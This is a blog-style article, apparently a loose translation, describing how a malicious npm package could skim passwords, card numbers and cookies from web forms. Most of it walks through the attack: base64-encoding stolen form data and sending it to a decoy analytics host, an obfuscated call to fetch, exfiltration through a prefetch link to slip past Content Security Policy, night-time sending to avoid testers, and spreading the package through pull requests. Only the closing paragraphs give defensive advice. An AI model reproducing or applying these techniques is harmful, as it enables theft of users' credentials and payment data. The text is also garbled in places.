Admin
Stealing passwords will deprive you of access to your page. Let’s take a look at one interesting way how password stealing can be successfully implemented.
There are many ways to get your password or credit card number. In the following, we will discuss how this can be done by injecting code into an npm package. The malicious code, which does all the dirty work, searches the browser page for something of the following:
- any form for input;
- an element with a property whose name contains “password”, “cardnumber”, “cvc”, “checkout”, etc.
If, after the submit event, the information you are looking for is found, this page has something to profit from.
- We extract information from each form field: (document.forms.forEach (…));
- collecting cookies: document.cookie;
- the whole thing always turns into a random string: const payload = btoa (JSON.stringify (sensitiveUserData));
- and after that, it is sent to the intermediate host: https://legit-analytics.com?q=$ {payload};
- and if useful, it is sent to the hacker’s server.
Let’s turn the world up side down
You need to somehow get the code to get to potential donor sites. You can try to break through browser extensions, but it’s not effective. Cross-site scripting is a good option, but XSS has its own security protocols. Npm is much more better.
It is possible to invent a package that will change the color of console output in the browser on the fly.
So will make you accept this “useful” update according to your dependencies, using a pull request for several (any) existing packages on the network, and wait.
In a month we have 120,000 downloads of this update and code execution on more than 1,000 sites. Of course, this is not a panacea, and there is a high probability that the ephemeral update of the package will not be accepted with open arms, but it is safe, and there is a chance that it will not be quickly detected.
However
Everything sounds smooth and beautiful, but there are some questions that an inquisitive reader may have, and they need to be cleared out.
Network requests from the script – the code sends almost nothing, i.e. there is no constant traffic exchange. The collected material is sent from 19:00 to 7:00, when security personnel and other testers are no longer testing anything. Even if the tester wants to excel, the code replaces the URL with a fake one, similar to social networks, and the submission always happens at different times: this is the surprise effect.
Search for “oddities” in npm. Good luck! Time and resource costs are incomparable, but if there is something, then in the code there is not even a hint of fetch, XMLHttpRequest or the host address to which everything is sent.
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join(''); self[k(i)](urlWithYourPreciousData);
gfudi is fetch, but with letters swapped by one, and self is the alias for window. Nothing common like “fetch” is used. Instead, wherever possible, you need to use EventSource (urlYourFavoriteData). Even if I listen to traffic via the serviceWorker, no one will suspect anything, since nothing is sent in browsers that support the serviceWorker.
Using CSP as a defense. From the point of view of CSP, our code does nothing forbidden, except for sending data to some domain. Yes, the CSP copes well with XSS attacks and can limit the browser’s communication with the outside world, but the script’s actions are not large enough to analyze anything.
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
In order not to pay for the hack, you need to check the CSP for a functioning blocking system (connect-src) and an interceptor tool (default-src). You can do it like this:
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get('Content-Security-Policy');
// Looking, how CSP works });
You need to check the first time so that the user and other overseers do not suspect anything.
Where to run now?
Now let’s think on behalf of a user or developer: “Everything is bad, our passwords are already in the darknet!”. To try and avoid failure, you cannot use npm on form pages or other building components. You cannot use third-party advertising, Google Tag Manager, scripts with diagrams, analytics – there should not be any extraneous code, otherwise you can get an injection. This only applies to pages where the user enters something, the rest of the site can safely work in React.
You need a separate page that has nothing superfluous to collect credit card numbers, passwords and credentials in an iFrame.
Theft of passwords is also carried out using phishing (forging the real site with an infected copy). If a hacker can take over your mailbox, then all the registrations and bank accounts that were attached to this mail cried. In 2017, 12 million accounts were hacked.
Keylogging is also quite successful – 1 million users have suffered, precisely because of this malware.
Conclusion
No one can be trusted, and leaving a site with known vulnerabilities is strictly prohibited, since there is a huge number of people in the world who want to enjoy something valuable. Any site is vulnerable, and the list of these holes is constantly changing: do not forget to keep your finger on the pulse.
Comments
Loading…